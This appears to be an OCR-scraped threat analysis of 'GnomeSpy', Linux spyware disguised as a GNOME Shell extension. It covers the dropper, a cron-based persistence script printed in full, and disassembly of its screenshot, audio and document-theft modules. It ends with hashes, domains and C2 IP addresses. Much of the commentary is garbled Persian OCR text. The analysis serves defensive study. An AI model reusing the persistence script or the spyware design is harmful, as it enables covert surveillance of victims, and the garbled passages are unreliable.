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What are GNOME Shell extensions?

GNOME Shell extensions allow customizing the default GNOME Shell interface and its parts, such as window management and
application launching.

Each GNOME Shell extension is identified by a unique identifier, the uuid. The uuid is also used for the name of the directory where
an extension is installed. You can either install the extension per-user in ~/.1local/share/gnome-shell/extensions/<uuid>, or

machine-wide in fusr/share/gnome-shell/extensions/<uuid>.

To view installed extensions, you can use Locking Glass, GNOME Shell's integrated debugger and inspector tool.

View installed extensions

1. Press | Alt |+| F2 |, type in /g and press | Enter | to open Looking Glass.

2. On the top bar of Looking Glass, click Extensions to open the list of installed extensions.
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Basic Properties

35Ted7e8032
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File type  unkno

Magic POSI
Filasize 7548

ipt text executable

History
First Submission  2019-07-04 10°54:28
Last Submission ~ 2019-07-04 10:54 28
Last Analysis 2019-07-26 22:46:00
Names

setup.sh
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Category « Details
Shell

Random Functions

Process Manipulation
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MNetwork Functions

IP Addresses

File Functions

Environment Variables
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Controls

Open Reset
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About Close
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DATA
Resolutions WHOIS Certificate Trackers Components Host Pairs OSINT Hashes Projects Cookies
FILTERS @ RESOLUTIONS @
DOMAIN (2/2) v Show:25 « 120f2 »  Sort:LastSeen Descending ¥ Download  Copy
v X gameworkdd. 1 Resolve First Last Source Tags
v % workanddns_. 1 gamework ddns.net 2019-05.06 2019.05-06 riskiq
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120f2
STATUS

SOURCE (1/2)
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L N lightning@parrot: -

File Edit View Search Terminal Help

@parrot: ~/Desktop/GnomeSpy
$ nc 195.62.52.101 3436
SSH-2.0-0penSSH_7.4pl Debian-10+deb9u6
~C

@parrot: ~/Desktop/GnomeSpy
$ nc 85.143.219.52 3436
SSH-2.0-0penSSH_7.4pl Debian-10+deb9u6
~C

@parrot: ~/Desktop/GnomeSpy
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File Edit V arch Terminal Help
@parrot: ~/Desktop/GnomeSpy
$ ./GSpy.bin --info
Identification: setup files...
Target directory: spy-agent
Uncompressed size: 248 KB
Compression: gzip
Date of packaging: Thu Jul 4 12:51:00 MSK 2019
Built with Makeself version 2.3.0 on
Build command was: /usr/bin/makeself \
"--notemp" \
"/media/data/work/Rostov/spy/spy-source/spy-agent/../../spy-build/Linux/spy-agent" \
"/media/data/work/Rostov/spy/spy-source/spy-agent/../../spy-binary/Linux/spy-agent-setup-linux.run" \
"setup files..." \
"./setup.sh"
Script run after extraction:
./setup.sh
directory spy-agent is permanent

@parrot: ~/Desktop/GnomeSpy
$ ./GSpy.bin --list

Target directory: spy-agent

drwxr-xr-x shurik/shurik 0 2019-067-04 05:51 ./

-rwxr-xr-x shurik/shurik 233528 2019-067-04 05:51 ./gnome-shell-ext
-rwxr-xr-x shurik/shurik 754 2019-07-04 05:25 ./setup.sh
-rw-r--r-- shurik/shurik 56 2019-07-64 05:51 ./rtp.dat

-rwxr-xr-x shurik/shurik 244 2019-07-04 05:25 ./gnome-shell-ext.sh

Sz B 5w U ol ol (a0 (JSs 4 makeself co Sl wl sad o3y [isls A pguad )3 a5 jehailen
Cap Sl wilgi o Makeself clapiol oo 5l osliznl b al .S 1al ) ./setup.sh L o> pis el 5w

13 395 1,51 SETUP.SH Liny ] bl ol Al 590 oS ol 03,8 il 31 1y lo &8 oS ol IS5 41,
sl 00 00l L)iihg Ao L)i]i ey

LN
File Edit View Search Terminal elp
@parrot: ~/Desktop/GnomeSpy
$ sudo ./GSpy.bin --noexec
Creating directory spy-agent
Verifying archive integrity... 100% All good.
Uncompressing setup files... 100%

@parrot: ~/Desktop/GnomeSpy

spy-agent

@parrot: ~/Desktop/GnomeSpy
$ cd spy-agent

@parrot: ~/Desktop/GnomeSpy/spy-agent
$ 1s
gnome-shell-ext gnome-shell-ext.sh rtp.dat setup.sh

31381 ol BIN 1 Obgiome 150wl 14 pguai
oy yisles SpY-agent ¢, 0o 3 b cpsis bin Ll 5l cbgoe zlysewl jl ae S o sanlin 45 johilea
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Parrot Terminal
Edit View Search Terminal Help
il /hing/sh

## definitions ##
dst folder=~/.cache/gnome-software/gnome-shell-extensions
app name=gnome-shell-ext

W C files to dst folder ##%

if [ ! .d Sdst_folder ]; then Installation path of the GSpy agent.
mkdir -p $dst folder

£

c; ./$app_name $dst_folder

cp ./$app_name.sh $dst_folder

cp ./rtp.dat $dst folder

### set <execute> permission ###
chmod +x $dst_folder/$app_name
chmod +x $dst_folder/$app_name.sh

### switch-on <start every minute> ###
line="0-59 * * * * &dst folder/$app name.sh"
if ! crontab -1 | grep -gq "$line"™ ; then
crontab -u $(whoami) -1 | { cat; echo "$line™; } | crontab -u $(whoami) -
fi

### start gnome-shell-ext ##
nohup $dst folder/$app name.sh =/dev/null >/dev/null 2>&1 &

### remove temporary files ###

SPBlowgwls Ciul cuad Jome 1Y ¢ gl

' Executable and Linkable Format
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Parrot Terminal

Terminal Help

# definitions ##
dst_folder=~/.cache/gnome-software/gnome-shell-extensions
app_name=gnome-shell-ext

#H copy files to dst folder ###

if [ ! -d $dst_folder ]; then
mkdir -p $dst_ folder

fi

cp ./%app_name $dst_folder

cp ./%app_name.sh $dst_folder

cp ./rtp.dat $dst_folder

#HH set <execute> permission ###
chmod +x $dst_folder/$app_name
chmod +x $dst_ folder/$app_name.sh

© s switch-on <start every minute> ###
i line="8-59 * * * * %dst_folder/$app_name.sh"
if ! crontab -1 | grep -q "$line" ; then
crontab -u $(whoami) -1 | { cat; echo "$line"; } | crontab -u $(whoami) -
= fi

##H start gnome-shell-ext ###
nohup $dst folder/$app_name.sh =>/dev/null >/dev/null 2=&1 &

### remove temporary files ###%
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File name: omeflightning/Desktop/GnomeSpy/spy-agent/gnome-shell-ext

233528 FLC S

ram Header Table on Header Table

GLIBC(2.6)[executable AMDG4-64]
acc(3.X)[executable AMDG64-641]

Detect It Easy Signatures C About

JPBlowgwla ool glwodly Olisa Y pgas
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Last Modified Mon 29 11:13:11 EDT 2019 -
6 Readonly: false R

Program Name: gnome-shell-ext

Language ID: %86:LE:64:default (2.8)

Compiler ID: gcc

Processor: =86

Endian: Little

Address size: 64

Minimum Address: 00400008

Maximum Address: _elfsectionHeaders: : 000007bf

# of Bytes: 231055

# of Memory Blocks: 33

# of Instructions: 399

# of Defined Data: 1301

# of Functions: 613

# of Symbols: 813

# of Data Types: EE]

# of Data Type Categories: 2

Created with Ghidra Version:9.8.4

Date Created: Mon Jul 29 11:13:09 EDT 2019

ELF File Type: executable

ELF Required Library [ 6]: libpthread.so.0

ELF Required Library [ 1]1:libcairo.so.2

ELF Required Library [ 2]1:1ibX11.50.6

ELF Required Library [ 3]:libpulse-simple.so.®
ELF Required Library [  4]:libstdc++.s0.6

ELF Required Library [ 5]1:1libgcc_s.so.1

ELF Required Library [ 6]:1libc.so.6

ELF Source File [ ol: dir.o

ELF Source File [ 1]: ops .o

ELF Source File [ 2]: packetBase.cpp

ELF Source File [ 3]: parameters.cpp

ELF Source File [ 4] = rcS.cpp

ELF Source File [ 51: application.cpp

ELF Source File [ 6]: main.cpp

ELF Source File [ 71: packet.cpp

ELF Source File [ 8]: session.cpp

ELF Source File [ 9] : shooterPing.cpp

ELF Source File [ 10]: crtstuff.c

ELE Source File [ 11]: loaaer.cpp 54
ELS >
Additional Informartion

----- Loading /home/lightning/Desktop/GnomeSpy/spy-agent/gnome-shell-ext ----- Ta]
Converted 3 .plt section symbols to external thunks Iy

[libpthread.so.8] -= not found
[libcaire.so.2] -= not found
[1ibX1l.s0.6]1 -> not found
[libpulse-simple.so.8] -> not found
[libstdc++.50.6]1 -> not found
[libgce_s.so.11 -> not found
[libc.so0.6] -> not found
----- [gnome-shell-ext] Resolve 157 external symbols -----

P wgwls ool (el Bl Ol Y g
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struction ] Data [l Unexplored [l External symbe
B DAview-A ® Strings window @ ex View Structures Enums (-] Import
o>

Tax, b
loc_4062F4

a rsi, aRtpbat
odx, 7

rdi, iz
_ZNSET__exxl112basic_stringlcStiichar trait
rd

std::experimental:
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@parrot:
hexdump rtp.dat

DOOO0OO | 3ec3 6534 0000 00O 0OOO 0OOO

f706c 3abl 0lob 0000)001le 0002 03e8 0000
DO00020 P7/10 0000l d4cd 0601 d4cd 0001 93e0 0004
DOOOO30 27cO 0009|2710 0000
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195.62.52.101 0xc3 0x3e 0x34 0x65 2blos g S 9w ol
1203 0x04 0xb3
0xf7 Ox6c 0x3a 0x51 0x01 Ox6b 0x00 0x00
512 0x02 0x00
4135 0x10 0x27 0x00 0x00
4135 0x10 0x27 0x00 0x00
31 (6 S 6 (39,5 SEMB! pndi 1Y Jgaa
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Frogram Tres 55 = x | RGeS Y NPT I=BE
.bss ) 7 F
-data // segment_2.1
-got.plt // Loadable segment [Ox400000 - 0x42a7e2] (disabled execute ..
-got // ram: 00489800-00400237
.dynamic i
.data.rel.ro assume DF = 0x0 (Default)
fini_array = 004000800 7f 45 4c ELf64_Ehdr
.init_array gi gg g;

'gﬁcf—exwm—tab'e 60400000 7T db 7Fh e_ident_magi...
& .eh_frame 00400001 45 4c 46 ds VELF" e _ident_magi...
.eh_frame_hdr < 00400004 02 db 2h e ident class
[Z) _.rodata 00400005 01 db 1h e_ident_data
Program Tree x 00400006 01 db 1h e_ident_wvers...
80400007 00 00 00 09 00 db(9] e_ident_pad
g 60 00 06 00
iss SymbaliiEs 00400010 02 B dw 2h e type
¥ &7 Exports . 60400012 3e 00 dw 3Eh e_machine
» f _GLOBAL_sub_| shooterPin: 80400014 01 B8 00 8O dew 1h e_version
» 00400018 60 4a 40 00 00 dq _start e _entry
> F ShooterFile I 00 00 60
» § Shooterimage 80400020 gg gg gg 09 00 dq ELf64_Phdr_ARRAY_008400... e_phoff
» § ShooterKey
» § ShooterPing 80400028 ;g gg gg 09 00 dq ELf64_Shdr_ARRAY__elfS... e_shoff
-
§ _shootersound 80400030 00 08 00 00 dew oh e_flags
N ;f sr'\' 00400034 40 08 dw agh e_ehsize
- ~Shooter 00400036 38 00 dw 38h e_phentsize
§ ~Shooter 00400038 09 00 dw ah e phnum
> ¥ ~-ShooterFile 00400033 40 00 dw 40h e_shentsize
1 ! 0040003c 1f 00 dw 1Fh e_shnum
B Shooter ® Q 00400032 le 00 dw 1Eh e_shstrndx
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i Go to previous location (Alt+Left) | X

DR S b E- X||-Pﬁ=n:!_lx:mt— (gnome-shell-ext) G O oM v %
1

: ] X
2 |#* RCS511RC5_Decrypt (stdiivector<unsigned char, stdirallocator<unsigned
L] 3 tor<unsigned char=>&) */
4
B 5 |void __thiscall RES_Decrypt(RC5 *this,vector *param_l,vector *param_2)
.
Decryp hsaThe 141
Wt
00405310 41 57 PUSH ;
00405312 41 56 PUSH AL
08485314 41 55 PUSH AL
00495316 41 54 PUSH R12 12
00405318 49 89 44 oy R12, paras_2 ]
0848531b 53 PUSH P
0040531c 53 PUSH &
00405310 48 83 ec 68 SUB 5P, 068
00405321 48 89 74 Moy qword ptr [RSP + local 90 paran_1
00405326 48 Bd 35 LEA paran_1,[5_sag2_AS.sashie3 004246211 P
4 £2 01 00
00405320 48 B9 7c "ou quord ptr [R5 + local sal.this 2
2410 21
00405332 64 48 86 "oy A, quord ptr F5:[0x28] 22
04 25 2 23
00 00 00 2
T T L e 25| byte
24 58 b
00405340 31 <0 XoR
08485342 o5 80 fF cALL j’
00405347 4c Bb 4c oy 29
2408 C- |ED
0040534 49 Bb 34 24 MOV
00305350 €6 43 24 nou
et Data Type Manager =— 37 00
SRRl 00405355 49 B9 74 "oy
=" = | 24 08
v 43.Data Types 00405353 43 6b 41 08 MOV
* @ BuitinTypes 0535e 49 8b 0 v
00205361 48 89 c2 oy

+ [9gnome-sheliext. .
* @ generic_clib_64
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ShooterPing Jg jlo

21y 50y (25lesb 5 LS 55 b B3| o pto dislsy SHOOLEIPINg Jsile cad 85 oyl f sty o okales
rias Sl i (sl s Sl I3l pusele i (sladgly (sl 5 25 51 Lally Jsile cul )l eige
sl Jgile (gilwadaio g )58l pailoyd g J S jg e 4 odid 0,5 SleMbl Janl wuis sai Sy (sl kid Lo 25l
S5y el 0 iy rtPLdat oS bl s &S eanlej g e by Jg3le ke .3 oage 5 1, ShooOter
U5 ShOOLerPing Jsjle abauly 4 (2lesd 5 JS 9y ol 5 obls Bsdio |l oo Sloj o5l

)b 1y rtp.dat gan Sy b 5 Sloj ol ol S8

ShooterFile Jgj

Lo g0 B b pedle plew b g e 4 byld 5l ) ShooterFile  Jgjle
013l 1y pasuie sladde / b b 4 18 . odlislignored_folders yignored_files accepted_files

Sygo 13 ool 7 b BB (pizmen g b Wl Glag Jgile cpl bwgs & (obaads A pgal 13055 o0
Uil ignored_folders 4 ignored_files 5 accepted_files i > ol ol (gomine > jascie

Llods 030>

-data:000000000062C450 public DW_ref__ gxx_persomality v0 ; weak

.data:000000000062C450 DW_ref__ gxx_personality_v0 dq offset _ gxx_personality_v0

.data:000000000062C458 align 20h

.data:000000000062C460 ; filter_ignered_files

“J-data:000000000062C460 _ZL20filter_ignored files dg offset a0 ; DATA XREF: .data.rel.ro:(00000000062EE00 0

.data:000000000062C460 i mon
*f.data:000000000062C468 dq offset ak ;oman
*f.data:000000000062C470 dgq offset alib i ".1ibv
*J.data:000000000062C478 align 20h

.data:000000000062C480 ; filter_ ignered folders
“f| d2ta:000000000062C480 _ZL22filter_ignored folders dg offset aOpt

_data:000000000062C480 ; DATA XREF: .data.rel.ro:000000000062B7F8to
-data:000000000062C480 i "fopt

1. data:000000000062C488 dq offset aProc i "fproc”

1. data:000000000062C490 dq offset aRoot i "/root”

). data:000000000062C498 dq offset aRun

*1.data:000000000062C4A0 dg offset asSbin

* ). data:000000000062C4A8 dq offset aSnap

°}.data:000000000062C4B0 dg offset aSrv

1. data:000000000062C4B8 dq offset asys

1. data:000000000062C4C0 dq offset aTmp_0

). data:000000000062C4C8 dq offset alsr

*1.data:000000000062C4D0 dg offset aBoot

* ). data:000000000062C4D8 dq offset aVar

°l.data:000000000062C4E0 dg offset aSnap

1. data:000000000062C4E8 dq offset aCdrom

). data:000000000062C4F0 dq offset aDev

). data:000000000062C4F8 dq offset aEtc

* N data:000000000062C500 dq offset alib_0

¢} data:000000000062C508 dq offset aLib32

* N . data:000000000062C510 dq offset alib64 H

1. data:000000000062C518 dq offset alostFound  ; "/lost+found”

). data:000000000062C520 align 40h

.data:000000000062C540 ; filter accepted files
“f data:000000000062C540 _2ZL21filter_accepted files dg offset aDoc

.data:000000000062C540 ; DATA XREF: Engine::Engine(void)+68to
-data:000000000062C540 ; .data.rel.ro:filter_datato
.data:000000000062C540 ; ".doc"

.data:000000000062C548 dgq offset aDocx ; .
.data:000000000062C550 dg offset aPdf i ".pdf”
.data:000000000062C558 dq offset aRtf rtf!
.data:000000000062C560 0

.data:000000000062C561
.data:000000000062C562
.data:000000000062C563
* | data:000000000062C564
.data:000000000062C565
*f.data:000000000062C566
*f.data:000000000062C567
.data:000000000062C568

EEEEEEREE

lic _ZN7Sessionldms_needFilterE

L LB g d VA peai

JUd 4 pastiie Gygo 4 Jgile opl 45 canl oads asciie filter_accepted_files cuws OA pgai )3 e
ol b by bl cuwd ol sl byl 58l wowls (gl a5 conl .1t g .pdf .docX .dOC Sgun b ol b
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PulseAudio ;| e pyiihs g9y » 989,5we bawg ous bus slalis cél s <l ShooterAudio Jgib
20 dwgy t_i.: LY L;Lﬁw L cJJSL;o J.o& \C)}«a LS‘)'.’ 29w t_i.t Jole J.«o‘ 9 PulseAudio )‘)B‘f); J»SUA odlawl
(Syo SO)lS Wile plie o3 1) ol g 9 18 €8l gt ptin b Ko 1) (o (5399 Bl e Alrej g

A L)) 5500 yle 4 b daore (23 s lrdusg S0 b g PulseAudio la gy

. aRTS libgnome
= KDE GNOME
Mplayer Pulse app XINE app ALSA app aRTS app app ESD app app
libac app aRTS
Dl
libao libxine Pulse libalsa Pulse libgnome
» =
UNIXTCP
- (] - native
protocols ESounD
= Zeroconf emulation
= module protocol
PulseAudio
process
HAL
T“PHkEI module
sin
PulsefAudio
Tunnel sener core AlTS:\
source sin
A
RTP ALSA
source source
HAL
0S5 processes
R.TP 0SS sink
sink source
A
h -
!
Netwaork A'IJ:_?"NOMSES Hardware
- - stack drivers list
-
=| L0 Al C
Other Pulse serers Application listening and broadcasting ever RTP
e O

PulseAudio 1! ylagld N pgas

' Sound Server
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& Seo s bl g 33 L a5 ShooterAudio Josle ool oad Cioye (g S b > a5 SleMbl
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Sho, udi
sub rsp,

lea 9, aIhEEjE2ss ; ShooterSound::takeSound(std::vector<uchar,std::allocator<uchars> &, uint)::ss|
lea x8,

lea I3

lea rsi ‘gnome-shell:

xor ecx,

xor edi,

mov .

xor abp,

push  ri4

push 0

push 0

call  _pa_simple

add rsp, 20h

test  rax, ra

mov r13, rax

jz shert loc_40C6CS

ShooterAudio Jgjk :Y+ pgai

Shooterimage Jg j

G jl 6yl ppgas lp ol Gogule ool (B3 drwgs )l odge o |y QB Jl 650 pgal Baa Joile (]
Xorg Display g, b bls,l G 1l Josle ol wcanl 5L o0 ailbbulis” 5 a8 1 03,8 osliw] Cairo asbsulis” ;|
Sl 5l S by pgar CliSwd | Blgn 4Ll gl debdl 3 .cwl GNOME CliSid luiy 45 1S o sl
o bly (ol dges VY pgai j3 3,8 dalgs osliwl PNG yglas sll ¢l ol Surface wlg acgeme 5 Cairo

ol 805 0313 isles AlolS oyl Lags o 431))
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cairo_surface_write_to_png_stream ()

cairo_status t

cairo_surface_write_ to_png_stream (cairo_surface_t *surface,

cairo_write func_t write_func,
void *closure);

Writes the image surface to the write function.

Parameters
surface
write_func
closure
Returns

acairo surface twith pixel contents
a cairo_write_func_t

closure data for the write function

catro_sTATUS_succEess if the PNG file was written successfully. Otherwise, catro_sTaTus_no_wmemory is returned if memory could not be
allocated for the operation, catro_sTaTus_surrace_Type_mrsmaTcH if the surface does not have pixel contents, or catro_sTatus_puc_erroR if
libpng returned an error.

Since: 1.0

Cairo aibols ;I b YY) jgad

Cairo sbuls 4 sleo lg | (S0 45 08 o odalie |y Josle ol odd Lowlppd il FY pguas )3 puismen
LS o Sle3le 1, XCloseDisplay ol o coles jd g ol 03,8 Slgsl s S8lLS polas b LI 1y |,

lea

h
i = s = il =
mov (r12+8], rax|
loc_40B440: i n loc_40B41A:
rdx, rll mowv rax, [rsp+78h+var_78]
mov rdi, r9 P8 add rex, rl0
|xor esi, esi ie mov [rl2], rl0
mov [rsp+78h+var_78], ril mowv [r1248], rex
call _memset mov rl5, rl0
mov rll, [rsp+78h+var 78] mov [£l2+410h], rax
mov 9, rax mov eax, dword ptr [rsp+78h4var 48]
mov esax, dword ptr [rsp+78h+var_48]| |add rax, rl0
mov rls, [rl2] Jmp loc_40B332
add 9, ril
mov [r12+8], r9
add rax, ris
jmp loc_40B332
L

TYvey

==l

loc_40B332:

rsi, _ZL30write_png_stream_to_byte_arrayPvPKhj ; write png stream to_byte array(veid * uchar const*
rdx, rld

rdi, r13

quord ptr [rsp+78hivar_58], rls5

qword ptr [rsp+78hivar 58+8], rax

dword ptr [rsp+78h+var 48], 0

byte ptr [rsp+78h+var_d8+4], 1

_caira_surface_write_to_png_stream

rdi, ri3
_cairo_surface_destroy

rdi, rbx ; Display *
_XCloseDisplay

eax, dword ptr [rsp+78h+var_48]

uint)

eax, OFFFFFFFFh|
loc_40B36F

rbx, [rsp+T8h+var_40]
rbx, fs:28h
loc_d0B512

Cairo xilyi Jlga 8 YY poai
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Name: Hash

Samples: a2lacbe7ee77c¢721fladc76e7a7799c936e74348d32b4c38f3bf6357ed7e8032
82b69954410c83315dfe769eed4bbcfc7d11f0f62e26ff546542e35dcd7106b7
7ffab36b2fa68d0708c82f01a70c8d10614ca742d838b69007f5104337a4b869

URLs clsass.ddns.net
kotl.space
Ips 185.158.115.44

195.62.52.101
185.158.115.154
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